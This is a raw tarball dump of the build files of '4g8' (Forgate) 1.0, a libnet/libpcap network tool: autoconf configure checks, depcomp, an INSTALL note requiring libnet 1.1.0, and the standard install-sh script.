>conftest.$ac_ext <<_ACEOF #line $LINENO "configure" /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default int main () { if ((u_int64_t *) 0) return 0; if (sizeof (u_int64_t)) return 0; ; return 0; } _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_type_u_int64_t=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_type_u_int64_t=no fi rm -f conftest.$ac_objext conftest.$ac_ext fi echo "$as_me:$LINENO: result: $ac_cv_type_u_int64_t" >&5 echo "${ECHO_T}$ac_cv_type_u_int64_t" >&6 if test $ac_cv_type_u_int64_t = yes; then : else cat >>confdefs.h <<_ACEOF #define u_int64_t unsigned long long _ACEOF fi for ac_header in signal.h net/bpf.h sys/time.h do as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` if eval "test \"\${$as_ac_Header+set}\" = set"; then echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 else # Is the header compilable? echo "$as_me:$LINENO: checking $ac_header usability" >&5 echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF #line $LINENO "configure" /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default #include <$ac_header> _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_header_compiler=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_compiler=no fi rm -f conftest.$ac_objext conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 echo "${ECHO_T}$ac_header_compiler" >&6 # Is the header present? echo "$as_me:$LINENO: checking $ac_header presence" >&5 echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF #line $LINENO "configure" /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include <$ac_header> _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_c_preproc_warn_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then ac_header_preproc=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_preproc=no fi rm -f conftest.err conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 echo "${ECHO_T}$ac_header_preproc" >&6 # So? What about this header? case $ac_header_compiler:$ac_header_preproc in yes:no ) { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} ( cat <<\_ASBOX ## ------------------------------------ ## ## Report this to bug-autoconf@gnu.org. ## ## ------------------------------------ ## _ASBOX ) | sed "s/^/$as_me: WARNING: /" >&2 ;; no:yes ) { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} ( cat <<\_ASBOX ## ------------------------------------ ## ## Report this to bug-autoconf@gnu.org. ## ## ------------------------------------ ## _ASBOX ) | sed "s/^/$as_me: WARNING: /" >&2 ;; esac echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 else eval "$as_ac_Header=$ac_header_preproc" fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 fi if test `eval echo '${'$as_ac_Header'}'` = yes; then cat >>confdefs.h <<_ACEOF #define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF fi done # Check whether --with-libnet_includes or --without-libnet_includes was given. if test "${with_libnet_includes+set}" = set; then withval="$with_libnet_includes" with_libnet_includes="$withval" else with_libnet_includes=no fi; if test "$with_libnet_includes" != "no"; then CFLAGS="${CFLAGS} -I${with_libnet_includes}" fi for ac_header in libnet.h do as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` if eval "test \"\${$as_ac_Header+set}\" = set"; then echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 else # Is the header compilable? echo "$as_me:$LINENO: checking $ac_header usability" >&5 echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF #line $LINENO "configure" /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default #include <$ac_header> _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_header_compiler=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_compiler=no fi rm -f conftest.$ac_objext conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 echo "${ECHO_T}$ac_header_compiler" >&6 # Is the header present? echo "$as_me:$LINENO: checking $ac_header presence" >&5 echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF #line $LINENO "configure" /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include <$ac_header> _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_c_preproc_warn_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then ac_header_preproc=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_preproc=no fi rm -f conftest.err conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 echo "${ECHO_T}$ac_header_preproc" >&6 # So? What about this header? case $ac_header_compiler:$ac_header_preproc in yes:no ) { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} ( cat <<\_ASBOX ## ------------------------------------ ## ## Report this to bug-autoconf@gnu.org. ## ## ------------------------------------ ## _ASBOX ) | sed "s/^/$as_me: WARNING: /" >&2 ;; no:yes ) { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} ( cat <<\_ASBOX ## ------------------------------------ ## ## Report this to bug-autoconf@gnu.org. ## ## ------------------------------------ ## _ASBOX ) | sed "s/^/$as_me: WARNING: /" >&2 ;; esac echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 else eval "$as_ac_Header=$ac_header_preproc" fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 fi if test `eval echo '${'$as_ac_Header'}'` = yes; then cat >>confdefs.h <<_ACEOF #define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF else LIBNET="no" fi done if test "$LIBNET" = "no"; then echo "" echo "Error: Can't find libnet 1.1.0 or greater. Visit http://www.packetfactory.net/libnet for the latest version." exit; fi # Check whether --with-libpcap_includes or --without-libpcap_includes was given. if test "${with_libpcap_includes+set}" = set; then withval="$with_libpcap_includes" with_libpcap_includes="$withval" else with_libpcap_includes=no fi; if test "$with_libpcap_includes" != "no"; then CFLAGS="${CFLAGS} -I${with_libpcap_includes}" fi for ac_header in pcap.h do as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` if eval "test \"\${$as_ac_Header+set}\" = set"; then echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 else # Is the header compilable? echo "$as_me:$LINENO: checking $ac_header usability" >&5 echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF #line $LINENO "configure" /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ $ac_includes_default #include <$ac_header> _ACEOF rm -f conftest.$ac_objext if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 (eval $ac_compile) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -s conftest.$ac_objext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_header_compiler=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_compiler=no fi rm -f conftest.$ac_objext conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 echo "${ECHO_T}$ac_header_compiler" >&6 # Is the header present? echo "$as_me:$LINENO: checking $ac_header presence" >&5 echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6 cat >conftest.$ac_ext <<_ACEOF #line $LINENO "configure" /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ #include <$ac_header> _ACEOF if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 ac_status=$? grep -v '^ *+' conftest.er1 >conftest.err rm -f conftest.er1 cat conftest.err >&5 echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } >/dev/null; then if test -s conftest.err; then ac_cpp_err=$ac_c_preproc_warn_flag else ac_cpp_err= fi else ac_cpp_err=yes fi if test -z "$ac_cpp_err"; then ac_header_preproc=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_header_preproc=no fi rm -f conftest.err conftest.$ac_ext echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 echo "${ECHO_T}$ac_header_preproc" >&6 # So? What about this header? case $ac_header_compiler:$ac_header_preproc in yes:no ) { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} ( cat <<\_ASBOX ## ------------------------------------ ## ## Report this to bug-autoconf@gnu.org. ## ## ------------------------------------ ## _ASBOX ) | sed "s/^/$as_me: WARNING: /" >&2 ;; no:yes ) { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} ( cat <<\_ASBOX ## ------------------------------------ ## ## Report this to bug-autoconf@gnu.org. ## ## ------------------------------------ ## _ASBOX ) | sed "s/^/$as_me: WARNING: /" >&2 ;; esac echo "$as_me:$LINENO: checking for $ac_header" >&5 echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 if eval "test \"\${$as_ac_Header+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 else eval "$as_ac_Header=$ac_header_preproc" fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 fi if test `eval echo '${'$as_ac_Header'}'` = yes; then cat >>confdefs.h <<_ACEOF #define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 _ACEOF else LIBPCAP="no" fi done if test "$LIBNET" = "no"; then echo "" echo "Error: Can't find Libpcap. Visit http://www.tcpdump.org for the latest version." exit; fi for ac_func in printf fprintf snprintf sprintf strdup strrchr strstr strncasecmp \ strtol strncmp strncat memset malloc gethostbyname gettimeofday getuid \ select setitimer do as_ac_var=`echo "ac_cv_func_$ac_func" | $as_tr_sh` echo "$as_me:$LINENO: checking for $ac_func" >&5 echo $ECHO_N "checking for $ac_func... $ECHO_C" >&6 if eval "test \"\${$as_ac_var+set}\" = set"; then echo $ECHO_N "(cached) $ECHO_C" >&6 else cat >conftest.$ac_ext <<_ACEOF #line $LINENO "configure" /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ /* System header to define __stub macros and hopefully few prototypes, which can conflict with char $ac_func (); below. Prefer to if __STDC__ is defined, since exists even on freestanding compilers. */ #ifdef __STDC__ # include #else # include #endif /* Override any gcc2 internal prototype to avoid an error. */ #ifdef __cplusplus extern "C" { #endif /* We use char because int might match the return type of a gcc2 builtin and then its argument prototype would still apply. */ char $ac_func (); /* The GNU C library defines this for functions which it implements to always fail with ENOSYS. Some functions are actually named something starting with __ and the normal name is an alias. */ #if defined (__stub_$ac_func) || defined (__stub___$ac_func) choke me #else char (*f) () = $ac_func; #endif #ifdef __cplusplus } #endif int main () { return f != $ac_func; ; return 0; } _ACEOF rm -f conftest.$ac_objext conftest$ac_exeext if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -s conftest$ac_exeext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then eval "$as_ac_var=yes" else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 eval "$as_ac_var=no" fi rm -f conftest.$ac_objext conftest$ac_exeext conftest.$ac_ext fi echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_var'}'`" >&5 echo "${ECHO_T}`eval echo '${'$as_ac_var'}'`" >&6 if test `eval echo '${'$as_ac_var'}'` = yes; then cat >>confdefs.h <<_ACEOF #define `echo "HAVE_$ac_func" | $as_tr_cpp` 1 _ACEOF fi done # Check whether --with-libnet_libraries or --without-libnet_libraries was given. if test "${with_libnet_libraries+set}" = set; then withval="$with_libnet_libraries" with_libnet_libraries="$withval" else with_libnet_libraries=no fi; if test "$with_libnet_libraries" != "no"; then LDFLAGS="${LDFLAGS} -L${with_libnet_libraries}" fi echo "$as_me:$LINENO: checking for libnet_build_ipv4 in -lnet" >&5 echo $ECHO_N "checking for libnet_build_ipv4 in -lnet... $ECHO_C" >&6 if test "${ac_cv_lib_net_libnet_build_ipv4+set}" = set; then echo $ECHO_N "(cached) $ECHO_C" >&6 else ac_check_lib_save_LIBS=$LIBS LIBS="-lnet $LIBS" cat >conftest.$ac_ext <<_ACEOF #line $LINENO "configure" /* confdefs.h. */ _ACEOF cat confdefs.h >>conftest.$ac_ext cat >>conftest.$ac_ext <<_ACEOF /* end confdefs.h. */ /* Override any gcc2 internal prototype to avoid an error. */ #ifdef __cplusplus extern "C" #endif /* We use char because int might match the return type of a gcc2 builtin and then its argument prototype would still apply. */ char libnet_build_ipv4 (); int main () { libnet_build_ipv4 (); ; return 0; } _ACEOF rm -f conftest.$ac_objext conftest$ac_exeext if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 (eval $ac_link) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); } && { ac_try='test -s conftest$ac_exeext' { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 (eval $ac_try) 2>&5 ac_status=$? echo "$as_me:$LINENO: \$? = $ac_status" >&5 (exit $ac_status); }; }; then ac_cv_lib_net_libnet_build_ipv4=yes else echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_cv_lib_net_libnet_build_ipv4=no fi rm -f conftest.$ac_objext conftest$ac_exeext conftest.$ac_ext LIBS=$ac_check_lib_save_LIBS fi echo "$as_me:$LINENO: result: $ac_cv_lib_net_libnet_build_ipv4" >&5 echo "${ECHO_T}$ac_cv_lib_net_libnet_build_ipv4" >&6 if test $ac_cv_lib_net_libnet_build_ipv4 = yes; then cat >>confdefs.h <<_ACEOF #define HAVE_LIBNET 1 _ACEOF LIBS="-lnet $LIBS" else LIBNET="no" fi if test "$LIBNET" = "no"; then echo "" echo "Error: Can't find libnet 1.1.0 or greater. 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See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA # # official page at http://forgate.sourceforge.net # # dnl Copyright (c) 2002-2003 Darren Bounds dnl All rights reserved. AC_INIT(src/main.c) AM_CONFIG_HEADER(config.h) FORGATE_VERSION=`cat VERSION` AC_MSG_RESULT(beginning auto-configuration process for 4g8-$FORGATE_VERSION...) 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See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA # 02111-1307, USA. # As a special exception to the GNU General Public License, if you # distribute this file as part of a program that contains a # configuration script generated by Autoconf, you may include it under # the same distribution terms that you use for the rest of that program. # Originally written by Alexandre Oliva . if test -z "$depmode" || test -z "$source" || test -z "$object"; then echo "depcomp: Variables source, object and depmode must be set" 1>&2 exit 1 fi # `libtool' can also be set to `yes' or `no'. if test -z "$depfile"; then base=`echo "$object" | sed -e 's,^.*/,,' -e 's,\.\([^.]*\)$,.P\1,'` dir=`echo "$object" | sed 's,/.*$,/,'` if test "$dir" = "$object"; then dir= fi # FIXME: should be _deps on DOS. depfile="$dir.deps/$base" fi tmpdepfile=${tmpdepfile-`echo "$depfile" | sed 's/\.\([^.]*\)$/.T\1/'`} rm -f "$tmpdepfile" # Some modes work just like other modes, but use different flags. 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It is never actually # run, as this mode is specially recognized in the preamble. exit 1 ;; makedepend) "$@" || exit $? # X makedepend shift cleared=no for arg in "$@"; do case $cleared in no) set ""; shift cleared=yes ;; esac case "$arg" in -D*|-I*) set fnord "$@" "$arg"; shift ;; -*) ;; *) set fnord "$@" "$arg"; shift ;; esac done obj_suffix="`echo $object | sed 's/^.*\././'`" touch "$tmpdepfile" ${MAKEDEPEND-makedepend} -o"$obj_suffix" -f"$tmpdepfile" "$@" rm -f "$depfile" cat < "$tmpdepfile" > "$depfile" sed '1,2d' "$tmpdepfile" | tr ' ' ' ' | \ ## Some versions of the HPUX 10.20 sed can't process this invocation ## correctly. Breaking it into two sed invocations is a workaround. sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile" rm -f "$tmpdepfile" "$tmpdepfile".bak ;; cpp) # Important note: in order to support this mode, a compiler *must* # always write the proprocessed file to stdout. "$@" || exit $? # Remove the call to Libtool. if test "$libtool" = yes; then while test $1 != '--mode=compile'; do shift done shift fi # Remove `-o $object'. IFS=" " for arg do case $arg in -o) shift ;; $object) shift ;; *) set fnord "$@" "$arg" shift # fnord shift # $arg ;; esac done "$@" -E | sed -n '/^# [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' | sed '$ s: \\$::' > "$tmpdepfile" rm -f "$depfile" echo "$object : \\" > "$depfile" cat < "$tmpdepfile" >> "$depfile" sed < "$tmpdepfile" '/^$/d;s/^ //;s/ \\$//;s/$/ :/' >> "$depfile" rm -f "$tmpdepfile" ;; msvisualcpp) # Important note: in order to support this mode, a compiler *must* # always write the proprocessed file to stdout, regardless of -o, # because we must use -o when running libtool. "$@" || exit $? IFS=" " for arg do case "$arg" in "-Gm"|"/Gm"|"-Gi"|"/Gi"|"-ZI"|"/ZI") set fnord "$@" shift shift ;; *) set fnord "$@" "$arg" shift shift ;; esac done "$@" -E | sed -n '/^#line [0-9][0-9]* "\([^"]*\)"/ s::echo "`cygpath -u \\"\1\\"`":p' | sort | uniq > "$tmpdepfile" rm -f "$depfile" echo "$object : \\" > "$depfile" . "$tmpdepfile" | sed 's% %\\ %g' | sed -n '/^\(.*\)$/ s:: \1 \\:p' >> "$depfile" echo " " >> "$depfile" . "$tmpdepfile" | sed 's% %\\ %g' | sed -n '/^\(.*\)$/ s::\1\::p' >> "$depfile" rm -f "$tmpdepfile" ;; none) exec "$@" ;; *) echo "Unknown depmode $depmode" 1>&2 exit 1 ;; esac exit 0 4g8-1.0/INSTALL0100644000000000000000000000076610005325626011514 0ustar rootrootPREREQUISITS Forgate requires libnet 1.1.0 or greater. Let me make this clear. If you're running any version of libnet prior to 1.1.0 (ie: 1.0.2a) FORGATE WILL NOT COMPILE. :) See http://www.packetfactory.net/libnet/ for the latest version of libnet and related information. INSTALLATION Packit source installation is simple: ./configure make Then as 'root': make install QUESTIONS Please email me if you have any problems or questions: Darren Bounds 4g8-1.0/install-sh0100755000000000000000000001270110005325626012457 0ustar rootroot#!/bin/sh # # install - install a program, script, or datafile # This comes from X11R5 (mit/util/scripts/install.sh). # # Copyright 1991 by the Massachusetts Institute of Technology # # Permission to use, copy, modify, distribute, and sell this software and its # documentation for any purpose is hereby granted without fee, provided that # the above copyright notice appear in all copies and that both that # copyright notice and this permission notice appear in supporting # documentation, and that the name of M.I.T. not be used in advertising or # publicity pertaining to distribution of the software without specific, # written prior permission. M.I.T. makes no representations about the # suitability of this software for any purpose. It is provided "as is" # without express or implied warranty. # # Calling this script install-sh is preferred over install.sh, to prevent # `make' implicit rules from creating a file called install from it # when there is no Makefile. # # This script is compatible with the BSD install script, but was written # from scratch. It can only install one file at a time, a restriction # shared with many OS's install programs. # set DOITPROG to echo to test this script # Don't use :- since 4.3BSD and earlier shells don't like it. doit="${DOITPROG-}" # put in absolute paths if you don't have them in your path; or use env. vars. mvprog="${MVPROG-mv}" cpprog="${CPPROG-cp}" chmodprog="${CHMODPROG-chmod}" chownprog="${CHOWNPROG-chown}" chgrpprog="${CHGRPPROG-chgrp}" stripprog="${STRIPPROG-strip}" rmprog="${RMPROG-rm}" mkdirprog="${MKDIRPROG-mkdir}" transformbasename="" transform_arg="" instcmd="$mvprog" chmodcmd="$chmodprog 0755" chowncmd="" chgrpcmd="" stripcmd="" rmcmd="$rmprog -f" mvcmd="$mvprog" src="" dst="" dir_arg="" while [ x"$1" != x ]; do case $1 in -c) instcmd="$cpprog" shift continue;; -d) dir_arg=true shift continue;; -m) chmodcmd="$chmodprog $2" shift shift continue;; -o) chowncmd="$chownprog $2" shift shift continue;; -g) chgrpcmd="$chgrpprog $2" shift shift continue;; -s) stripcmd="$stripprog" shift continue;; -t=*) transformarg=`echo $1 | sed 's/-t=//'` shift continue;; -b=*) transformbasename=`echo $1 | sed 's/-b=//'` shift continue;; *) if [ x"$src" = x ] then src=$1 else # this colon is to work around a 386BSD /bin/sh bug : dst=$1 fi shift continue;; esac done if [ x"$src" = x ] then echo "install: no input file specified" exit 1 else : fi if [ x"$dir_arg" != x ]; then dst=$src src="" if [ -d $dst ]; then instcmd=: chmodcmd="" else instcmd=$mkdirprog fi else # Waiting for this to be detected by the "$instcmd $src $dsttmp" command # might cause directories to be created, which would be especially bad # if $src (and thus $dsttmp) contains '*'. if [ -f "$src" ] || [ -d "$src" ] then : else echo "install: $src does not exist" exit 1 fi if [ x"$dst" = x ] then echo "install: no destination specified" exit 1 else : fi # If destination is a directory, append the input filename; if your system # does not like double slashes in filenames, you may need to add some logic if [ -d $dst ] then dst="$dst"/`basename $src` else : fi fi ## this sed command emulates the dirname command dstdir=`echo $dst | sed -e 's,[^/]*$,,;s,/$,,;s,^$,.,'` # Make sure that the destination directory exists. # this part is taken from Noah Friedman's mkinstalldirs script # Skip lots of stat calls in the usual case. if [ ! -d "$dstdir" ]; then defaultIFS=' ' IFS="${IFS-${defaultIFS}}" oIFS="${IFS}" # Some sh's can't handle IFS=/ for some reason. IFS='%' set - `echo ${dstdir} | sed -e 's@/@%@g' -e 's@^%@/@'` IFS="${oIFS}" pathcomp='' while [ $# -ne 0 ] ; do pathcomp="${pathcomp}${1}" shift if [ ! -d "${pathcomp}" ] ; then $mkdirprog "${pathcomp}" else : fi pathcomp="${pathcomp}/" done fi if [ x"$dir_arg" != x ] then $doit $instcmd $dst && if [ x"$chowncmd" != x ]; then $doit $chowncmd $dst; else : ; fi && if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dst; else : ; fi && if [ x"$stripcmd" != x ]; then $doit $stripcmd $dst; else : ; fi && if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dst; else : ; fi else # If we're going to rename the final executable, determine the name now. if [ x"$transformarg" = x ] then dstfile=`basename $dst` else dstfile=`basename $dst $transformbasename | sed $transformarg`$transformbasename fi # don't allow the sed command to completely eliminate the filename if [ x"$dstfile" = x ] then dstfile=`basename $dst` else : fi # Make a temp file name in the proper directory. dsttmp=$dstdir/#inst.$$# # Move or copy the file name to the temp name $doit $instcmd $src $dsttmp && trap "rm -f ${dsttmp}" 0 && # and set any options; do chmod last to preserve setuid bits # If any of these fail, we abort the whole thing. If we want to # ignore errors from any of these, just make sure not to ignore # errors from the above "$doit $instcmd $src $dsttmp" command. if [ x"$chowncmd" != x ]; then $doit $chowncmd $dsttmp; else :;fi && if [ x"$chgrpcmd" != x ]; then $doit $chgrpcmd $dsttmp; else :;fi && if [ x"$stripcmd" != x ]; then $doit $stripcmd $dsttmp; else :;fi && if [ x"$chmodcmd" != x ]; then $doit $chmodcmd $dsttmp; else :;fi && # Now rename the file to the real destination. $doit $rmcmd -f 